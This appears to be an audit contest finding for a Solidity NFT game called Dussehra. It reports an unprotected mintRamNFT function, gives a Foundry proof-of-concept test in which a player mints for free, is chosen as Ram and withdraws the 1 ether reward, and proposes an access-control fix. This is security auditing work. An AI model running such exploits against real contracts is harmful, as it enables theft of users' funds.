Submission Details
Severity:
Anyone can mint NFT for free
Summary
The function mintRamNFT(address to) is not protected, allowing anyone to mint NFTs for free.
Vulnerability Details
The function mintRamNFT(address to) is not protected, allowing anyone to mint NFTs for free, participate in the event, and potentially win a reward.
Impact
Any player can get a RamNFT without paying the entrance fee and win the reward if selected as Ram.
Code Example
This code should be added to the smart contract Dussehra.sol#CounterTest:
function test_mintRamNFTforFree() public participants {
// Player 3 mints NFT for free
vm.prank(player3);
ramNFT.mintRamNFT(player3);
// Check if the balance of player 3 is 0 ETH
assertEq(ramNFT.getCharacteristics(1).ram, player2);
assertEq(ramNFT.getCharacteristics(0).ram, player1);
// Check that player 3 is the owner of the NFT
assertEq(ramNFT.getCharacteristics(2).ram, player3);
vm.warp(1728691200 + 1);
// Organizer selects Ram
vm.startPrank(organizer);
choosingRam.selectRamIfNotSelected();
vm.stopPrank();
// Player 3 is the selected Ram
assertEq(choosingRam.selectedRam(), address(player3));
// Player 3 kills Ravana
vm.startPrank(player3);
dussehra.killRavana();
vm.stopPrank();
// Player 3 gets the reward
vm.prank(player3);
dussehra.withdraw();
// Check the balance of player 3
assertEq(player3.balance, 1 ether);
}
Result
User mint NFT Ram without pying entrance fee
forge test --mt test_mintRamNFTforFree
[⠊] Compiling...
[⠒] Compiling 1 file with 0.8.20
[⠢] Solc 0.8.20 finished in 3.14s
Compiler run successful!
Ran 1 test for test/Dussehra.t.sol:CounterTest
[PASS] test_mintRamNFTforFree() (gas: 499370)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.04ms (1.47ms CPU time)
Tools Used
Manual review.
Recommendations
Fix the error in the code
- function mintRamNFT(address to) public {
+ function mintRamNFT(address to) public onlyChoosingRamContract {
uint256 newTokenId = tokenCounter++;
_safeMint(to, newTokenId);
Characteristics[newTokenId] = CharacteristicsOfRam({
ram: to,
isJitaKrodhah: false,
isDhyutimaan: false,
isVidvaan: false,
isAatmavan: false,
isSatyavaakyah: false
});
}
Rewards breakdown
nSLOC
218This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.